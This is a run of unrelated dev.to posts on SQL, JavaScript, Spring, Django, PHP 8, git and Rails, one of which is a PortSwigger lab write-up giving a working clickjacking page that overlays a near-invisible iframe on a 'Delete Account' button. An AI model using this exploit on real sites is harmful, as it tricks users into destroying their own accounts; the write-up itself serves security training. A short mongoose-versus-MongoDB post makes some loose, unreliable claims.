teleren/devto huggingface dataset:
Học tiếng Nhật
Tags: hoctiengnhat, tiengnhat, hoctieng
Published: 2022-10-11 04:14:35

Học tiếng Nhật tại Trung tâm du học Nhật Bản VLE uy tín, chuyên nghiệp. /m/0mbfk

Website: [https://vle.com.vn/bai-viet/cac-dia-diem-du-lich-noi-tieng-tai-nhat-ban.html](https://vle.com.vn/bai-viet/cac-dia-diem-du-lich-noi-tieng-tai-nhat-ban.html)


Email: trungtamvle.hp@gmail.com
Hotline: 0915 815 907
Address : Đường Hải Triều (Quốc lộ 10), P. Quán Toan, Q. Hồng Bàng, Tp. Hải Phòng

Hastag : #duhocnhatban #tiengNhat #hoctiengnhat #trungtamdichvuduhoc #du_hoc_nhat_ban #tieng_nhat #hoc_tieng_nhat #/m/0mbfk
PostgreSQL unit-9
Tags: database, postgres, mysql, sql
Published: 2022-10-11 04:13:19


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tpkh8y6e976lnfwsuk5g.png)

```
SELECT DISTINCT country FROM users;
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/urvbxsqbk7nbqqe6rn8k.png)

```
SELECT country FROM users GROUP BY country;
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7tkkmtc08vnbhwle1n0e.png)


```
SELECT country, COUNT(*) FROM users GROUP BY country;
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/99l1ldfac6d1g0w30tpw.png)


```
SELECT country, COUNT(*) FROM users GROUP BY country HAVING COUNT(*) > 2;
```


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7c195m210yzrxrb1tulr.png)
javascript: convert object to query params
Tags: javascript, webdev, typescript, programming
Published: 2022-10-11 04:11:54


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9plm4x5rg5snocj2pmux.png)

{% embed https://youtube.com/shorts/zDrE9VO83OI?feature=share %}
A Quick Guide to Loops
Published: 2022-10-11 03:52:52

In Javascript, loops are designed to execute a block of code a designated number of times based on the three set expressions. 

- expression 1 - sets a variable before the loop starts. (let i = 0)

- expression 2  - define the condition for the loop to run (i must be less than 10).

- expression 3 - determines the incremental increases or decreases of the value each time the code block is run (i++) or (i--). expression 3 is optional and can be omitted if you increment or decrement the value inside the loop.

There are 3 main types of loops: while loops, for loops, and for-in loops.

-  The While loop will execute a block of code as long as the specified condition stated directly after the While keyword is true. the while loop is traditionally set up as seen below

`var a = 1;
while (a <= 3){
    console.log('Countup ' + a);
    a++; //results in 'Countup 1' 'Countup 2' 'Countup 3' printing to the console.
} `

`while (a > 0){
    console.log('Countdown ' + a);
    a--;
//This will result in 'Countdown 4' 'Countdown 3' 'Countdown 2' 'Countdown 1' printing to console.
} `

The while loop is like a for loop with expression 1 and expression 3 omitted, because of this, the while loop is a little more limited than a for loop.

- the for loop statement creates a loop with 3 expressions as seen in the introduction under section 0. 
A for loop statement will often look like 'for (let i = 0; i < 5; i++)' followed by a block of code to be executed a number of times based on the loop expressions. Example of for loop seen below.
`var arr = [1, 3, 'b', '$'];
for (let i = 0; i < arr.length; i++){
    console.log(arr[i]);
}
// this will log 1, 3, 'b', '$' to the console. `

for loops are also able to decrement as seen below. 
`for (let i = arr.length - 1; i >= 0; i--){
    console.log(arr[i]);
} // this will log '$', 'b', 3, 1 to the console.`

as seen above I am using the for loop to increment and decrement through an array. for loops like the one seen above, are most commonly used in relation to arrays since each array element has a corresponding index number.

- To loop through objects we need a different kind of for loop, a for-in loop
for-in loop statement loops through the properties of an object and executes the block of code for each property. 
The for-in statement consists of one expression that will return a key for each iteration until all properties have been looped through, or the loop is exited like with return. example below.

`var object1 = {a: 1, b: 'y', c: 100};
for (let key in object1){
console.log([key], object1[key]);
} 
// This will log ['a'] 1, ['b'] 'y', ['c] 100 to the console. `
 
Using the for in loop, we are able to return each property allowing us to access the property values in order to alter, copy, or delete items from the underlying object.
Difference between mongoose and mongodb module
Tags: mongodb, database, javascript, node
Published: 2022-10-11 02:32:12

**_There are many differences between the mongoose and mongodb modules. The mongoose module is an object modeling tool that helps you work with MongoDB. MongoDB is a powerful document-oriented database. Both products are very popular, but there are some key differences_**.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u2s4xxrowyi2t586etmt.png)

**_Mongoose is more focused on providing a schema-based solution, while MongoDB is more document-oriented. Mongoose also has built-in support for data validation, which MongoDB lacks. Mongoose also provides a simpler way to work with data, while MongoDB requires more manual work_**.

**_Mongoose is more opinionated than MongoDB. It enforces a structure on your data, while MongoDB is more flexible. Mongoose also has a more complex API, while MongoDB has a simpler API_**.

**_If you're looking for a schema-based solution, Mongoose is the better choice. If you're looking for a more flexible, document-oriented database, MongoDB is the better choice_**.
Spring @Autowired tricks
Tags: spring, java, tutorial, springboot
Published: 2022-10-10 23:54:59

## Introduction

As we know Spring framework is a dependency injection framework that keep tracks from your classes and whenever you want an instance spring will provide that for you.

By Annotating your classes with @Service or @Component Spring at runtime will create instances from these classes and wherever you want an object from them you just use @Autowired so that spring knows that you need an object here.

## Some Magic

But there is some tricks may add value to your code or make code cleaner , as image below we have IMove interface with 2 different implementations for it.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ckiieo1ehut780phjfyd.png)

you can use @Autowired with List of IMove and spring will get all interface implementations and put them into the list , or you can use Map of String and IMove and spring will construct a map with service name as a key and an object of this service as a value like below image.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qdr8jxm2tap305mxoou2.png)

You can benefit from this for an example if you have a multiple validation logic over some value you can use @Autowired with List trick to group validators based on type and fire them in a much clean way like below images.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xcp1fjcdjxom12xmgwir.png)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/enx0bw0p1maj56x5ooq6.png)

Or in a different way you can use Map to fire specific logic based in some parameter value like below image.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/djqbfpq8hm4wt2duvi7h.png)

## Notes

- just be careful when you have this setup and try in inject one object from the interface , application will not run because Spring will be confused as it will not know which implementation have to use to fulfill this injection , you can solve this situation with @Primary or @Qualifier like
 this.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dv6lbsunhaf5fb7nms4f.png)

- we made our examples with field injection and @Autowired but it works as well with constructor injection like below and this is recommended.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eu39uj6xwqfurfx3drcq.png)


IF YOU LIKED THE POST, THEN YOU CAN BUY ME A COFFEE, THANKS IN ADVANCE.

<a href="https://www.buymeacoffee.com/samehmuh95" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/default-orange.png" alt="Buy Me A Coffee" height="41" width="174"></a>
How to send emails using python django ?
Tags: python, django
Published: 2022-10-10 23:37:19

Many of us know the most common way of sending emails in the django using the `django.core.mail`. But have you all ever tried the most common way of sending emails throughout python ?

It's done by using the smtplib.

Demo code:
```python
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from decouple import config

def sendMail(fromEmail, toEmail, subject, message):
    msg = MIMEMultipart()
    msg.set_unixfrom("") # Put your name or any string
    msg["From"] = fromEmail
    msg["To"] = toEmail
    msg["Subject"] = subject
    msg.attach(MIMEText(message))
    mailserver = smtplib.SMTP_SSL('smtp.gmail.com', 465)
    mailserver.ehlo()
    mailserver.login(config("EMAIL_ADDRESS"), config("EMAIL_PASSWORD"))
    mailserver.sendmail(fromEmail, toEmail, msg.as_string())
    mailserver.quit()
```

Requirements of the above code is only the [python-decouple](https://pypi.org/project/python-decouple/) module to read the local environment vars from .env files.

Documentation for python decouple: [https://github.com/henriquebastos/python-decouple/](https://github.com/henriquebastos/python-decouple/)
Documentation for smtplib: [https://docs.python.org/3/library/smtplib.html](https://docs.python.org/3/library/smtplib.html)
Nuevas características en PHP 8
Tags: php8, namedarguments, nullsafe, php
Published: 2022-10-10 23:18:48

Dentro de las nuevos aspectos de PHP 8, revisaremos 2 que parecen muy interesantes para implementar e investigar a profundidad, veamos los siguientes que nos permiten observar la diferencia de código de acuerdo a cada versión.

## Named Arguments
Una de las características interesantes dentro de versión de PHP8 que llama mucha la atención son los _"Named arguments"_, ya era posible utilizarlos en otros lenguajes, en este momento ya esta disponible para su uso. 
_**PHP 7**_
Este sería nuestro ejemplo más básico de cómo enviar parámetros por posición.
```
<?php
 function make_drink($type = "cappuccino",$cup=2)
{
    return "$cup cup(s) of $type.\n";
}
echo  make_drink();
```
[Example]( https://phpsandbox.io/e/x/rkpou?layout=EditorPreview&defaultPath=%2F&theme=dark&showExplorer=no&openedFiles= )



_**PHP 8**_
En PHP8 es posible enviar los parámetros combinando los tipos ya sea por posición y por nombre a continuación podemos ver la declaración de una función y las diferentes formas como se podría invocar esa función.
 
```<?php
 function make_drink($type = "cappuccino",$cup=2)
{
    return "$cup cup(s) of $type.\n";
}
echo  make_drink(cup:3, type:'tee');
echo make_drink(type:'chocolate');
echo make_drink('milk',cup:5);
```
[Example](https://phpsandbox.io/n/hko7e)

## Null safe operator
El _**NULL** safe operator_ es un forma de verificar si la propiedad es existente en el objeto de manera que la validación queda más limpia y legible.

La versión previa a PHP 8 de validación para evitar errores en nuestro código es la siguiente:
**PHP 7**
```
$order = null;
$order->invoice->number ?? null)
```
**PHP 8**
```
$order = null;
$order?->invoice?->number
```

A simple vista no se aprecia el poder del operador, a continuación podemos ver otro ejemplo donde se aprecia que limpió y legible queda el código

**PHP 7**
```
$country =  null;
 
if ($session !== null) {
    $user = $session->user;
 
    if ($user !== null) {
        $salary = $user->getSalary();
 
        if ($address !== null) {
            $mount = $salary->mount;
        }
    }
}
```
**PHP 8**
```
$country = $session?->user?->getAddress()?->country;
```

Cómo se puede apreciar en este ejemplo, la nueva característica de PHP 8 es una característica genial para nuestro código.

Si tienes alguna observación para mejorar el artículo o tienes ganas de comentarlo, no dudes en contactarme. 

Mientras tanto felices lineas...
Recover and replace win1252 content to utf-8 for a PostgreSQL database
Tags: postgres, database, unicode
Published: 2022-10-11 22:00:31

---
title: Recover and replace win1252 content to utf-8 for a PostgreSQL database
published: true
date: 2022-10-10 23:32:00 UTC
tags: PostGreSQL,database,unicode
canonical_url: 
---

I shouldn't be the first to need to export data from a PostgreSQL database installed on Windows with a win1252 code to a database with UTF-8 code (in my case, on a Linux server).

It is not enough to transform the transfer file to UTF-8, as the characters of win1252 (left double quote, right double quote, single quote and dash) will be there, with a weird value in your database.

In my experience, I had to import data as-is and afterwards perform an update using the function to rewrite data for UTF-8 characters correctly.

The following code examples are for: 1 - transform to HTML characters; 2 - transform to single characters.

[HTML (https://gist.github.com/rafaelbernard/1029869)](https://gist.github.com/rafaelbernard/1029869):
```plpgsql
-- DROP FUNCTION substitui_win1252_html(texto);

CREATE OR REPLACE FUNCTION substitui_win1252_html(texto text)
	RETURNS text AS
$$
BEGIN
	
	texto := replace(replace(replace(replace(replace(texto, '', '&#8217;'), '', '&#8220;'), '', '&#8221;'), '','&#8226;'), '', '&#8211;')::text; 
	RETURN texto;
	
END;
$$
LANGUAGE plpgsql;
```

[Simple (https://gist.github.com/rafaelbernard/1029899)](https://gist.github.com/rafaelbernard/1029899):
```plpgsql
- DROP FUNCTION substitui_win1252(texto);

CREATE OR REPLACE FUNCTION substitui_win1252(texto text)
	RETURNS text AS
$$
BEGIN
	
	texto := replace(replace(replace(replace(replace(texto, '', ''''), '', '"'), '', '"'), '','&#8226;'), '', '-')::text;  
	RETURN texto;
	
END;
$$
LANGUAGE plpgsql;
```

Don't worry about the squares that you might see. If you copy it to a good text editor, you will their actual value.
Rick and Morty + Nuxt + Tailwind
Tags: nuxt, tailwindcss, vue
Published: 2022-10-10 23:27:35

Hello! Besides studying and working with React and Next, I'm currently studying Vue and Nuxt. Then, I've thought about creating a little site using data from Rick and Morty API, Nuxt and Tailwind.

After reading this post: https://dev.to/monicafidalgo/12-apis-that-you-as-a-developer-will-love-it-4ec6 from @monicafidalgo I decided to do this project using Rick and Morty API, since it's one of my favourites series.

I've created a home page with a hero, a carousel containing cards with the first 20 characters, a button to go to all characters page, a contact CTA with two buttons: one to see the repository and other that opens a modal with a contact form, where the user may send me a message. At the end of the page, there' the footer (footer, contact CTA and menu are included on default layout).

Also, there's see all characters, with a table with the characters and a pagination, which allows user to see only 20 characters per page.
Moreover, I've created a contact page, where you may read a little about the process of making up the site and a little about me.

Bellow, you can see the preview and the repository link. Fell free to add any comment about this project! :)

Live preview: https://lnkd.in/d4gyzkzj
Repository: https://lnkd.in/dac9HkuF

Photo by <a href="https://unsplash.com/@michael_marais?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Michael Marais</a> on <a href="https://unsplash.com/s/photos/rick-and-morty?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a>
Create an AWS Account in 4 easy steps !
Tags: aws
Published: 2022-10-10 22:57:42

1. First of all, go to this [page](https://aws.amazon.com/free)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2qe32edfcacrngrjzkce.png)

Scroll down and check out the free tier and other services provided


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oxuu779gmiwsfeir5fq9.png)

2. Now provide your mail and name for the account

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/aa3mt2qrhbsomcz3fbxv.png)

3. Provide your password for the account


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2grojwk247rpev6i3g13.png)

4. Fill up with your name, address and credit or debit card (multicurrency/dual currency payment possible)details 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eshg8q11h84n9xrt9ieq.png)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jcxxefnxu9n8ujauogzk.png)
You will be charged $1 for the confirmation. 

Done!

Now your account is created
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pr8rgydqmilaajajsvsf.png)



<img src="https://media0.giphy.com/media/Nfs5y1kzJKfu/giphy.gif?cid=ecf05e472d3w835ptrri5m1p6ifnwl9mi7ope9pifvhpcxf6&rid=giphy.gif&ct=g">
How to change author in pushed commit
Tags: git, devjournal, tipsandtricks
Published: 2022-10-10 21:36:42

## What issue I've tried to solve

Some time ago, I set up a new VM to work on a new project, and after a few days of intensive work and multiple pushed commits, I figured out a typo in my email. Luckily, I've made commits to the dedicated feature branch, so I may fix it without disturbing the team

## How to fix it

- Open the terminal (console, command prompt, etc.) and go to the source code folder.
- Switch to rebase mode
   ``` bash 
   ➜  git rebase -i HEAD~<N>
   ``` 
   where `<N>` is amount of commits from HEAD.
   Or you may specify commit hash or branch
   ``` bash 
   ➜  git rebase -i 0893420285a5813ddd4a2c86f40054fa4968c9cf
   ➜  git rebase -i master
   ``` 
- Mark required commits to edit (with `e` letter)
- Repeat required times
   ``` bash
   ➜  git commit --amend --author="Vladislav Bochenin <vladislav.bochenin@email.com>" --no-edit
   ➜  git rebase --continue
   ```
- Check if everything is ok
   ``` bash 
   ➜  git log
   ```
- Push changes
   ``` bash 
   ➜  git push --force
   ```

_If you find the post helpful, please support me and:_
[![Buy Me A Coffee][2]][1]

[1]: https://www.buymeacoffee.com/vbocheninQ
[2]: https://cdn.buymeacoffee.com/buttons/default-black.png
Portswigger’s lab write up: Basic clickjacking with CSRF token protection
Tags: web, portswigger, clickjacking, writeups
Published: 2022-10-10 22:54:34

In this apprentice level lab, we will exploit the delete account flow from a website vulnerable to clickjacking even though there is some CSRF token protection present.


Upon logging in with the given credentials, we notice that after going to the Account’s page, all that is needed to delete a user account is click on the `Delete Account` button. Let’s use the writing material’s clickjacking template to craft our exploit:

```jsx
<head>
   <style>
      iframe {
       position:relative;
       width:700px;
       height:600px;
       opacity:0.1;
       z-index:2;
      }
      div {
       position:absolute;
       z-index:1;
      }
   </style>
</head>
<body>
   <div>
      CLICK HERE
   </div>
   <iframe src="${LAB_ACCOUNT_ROUTE_URL}">
   </iframe>
</body>

```
This is how the template looks on our exploit server:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ymojw0q3pww4py3zsfzr.png)

We need to modify the location of the `CLICK ME` div tag so that it is on top of the `Delete Account` button on the vulnerable website. Note that we are setting the iframe’s opacity to `0.1` to be able to check the exploit appearance and then modifying the div’s top and left CSS properties so that when a logged in user clicks on the `CLICK ME` div on our website, they are actually clicking on the vulnerable website’s button to delete their account. After setting the top property to 500px and the left property to 50px, it looks like the buttons are aligned to perform a successful attack. At this point, our exploit looks like this:

```jsx
<head>
   <style>
      iframe {
       position:relative;
       width:700px;
       height:600px;
       opacity:0.1;
       z-index:2;
      }
      div {
       position:absolute;
       z-index:1;
       top:500px;
       left:50px;
      }
   </style>
</head>
<body>
   <div>
      CLICK HERE
   </div>
   <iframe src="${LAB_ACCOUNT_ROUTE_URL}">
   </iframe>
</body>
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ayyqc9zbwcdz8gh5v6v2.png)

All we need to do is set the iframe’s opacity to 0.00001 or something similar so that it is almost invisible and send the exploit to our victim.

Check out this write up on the Art Of Code: https://artofcode.tech/portswiggers-lab-write-up-basic-clickjacking-with-csrf-token-protection/

Github: https://github.com/christianpaez/portswigger/tree/main/labs/apprentice/clickjacking/basic-clickjacking-with-csrf-token-protection
Refactoring My SSG
Published: 2022-10-10 21:54:45

This week our task was to refactor our SSG's. The main point of refactoring is to simplify to make our code more efficient to use and read. I had some ideas of what to fix but i still needed to look and see what I could fix and how I would fix it.

# What did I Refactor

The biggest and most impact-full change i made was a adding two new functions one for searching and one for replacing. multiple times i would just copy and paste the code and just add a different string for the searching and replacing parts but this time i put them into two functions and simplified my code. In the long run this will be much easier to read and I can re use this code to implement the other features of markdown like adding in link support.

The second change i made was simplifying my HTML creation i added a variable that stored the header file of the HTML doc then i would build off of that variable.

My last change built of my previous changes by creating the title of the file in the first part of the function instead of having two identical title creation variables.
Many-to-Many Relationships
Tags: rails, ruby, beginners, webdev
Published: 2022-10-10 21:34:49

## Many-to-many relationships
 are one of the more common relationships in Rails. When two models have a has_many association to each other, we say they are in a many-to-many relationship.

Here's a many-to-many relationship for example, a doctor can have many patients, and a patient can see many different doctors.

One way to set up a many-to-many relationship with another model is to use the `has_many :through` association. In order to do that, we need to create a new join model. For this example we will use Doctor, Patient and Appointment.

```
class Doctor < ApplicationRecord
  has_many :appointments
  has_many :patients, through: :appointments
end
 
class Appointment < ApplicationRecord
  belongs_to :doctor
  belongs_to :patient
end
 
class Patient < ApplicationRecord
  has_many :appointments
  has_many :doctors, through: :appointments
end
```

**But how can we control the associated object when its owner is destroyed?**

You can set a _dependent_ to handle these conditions.

For example if I wanted to delete a Doctor I'd need to make sure all of their appointments were taken care of.  We'd do that like this.

```
class Doctor < ApplicationRecord
  has_many :appointments, dependent: :destroy
  has_many :patients, through: :appointments
end
```

For more on active record associations check out: https://guides.rubyonrails.org/association_basics.html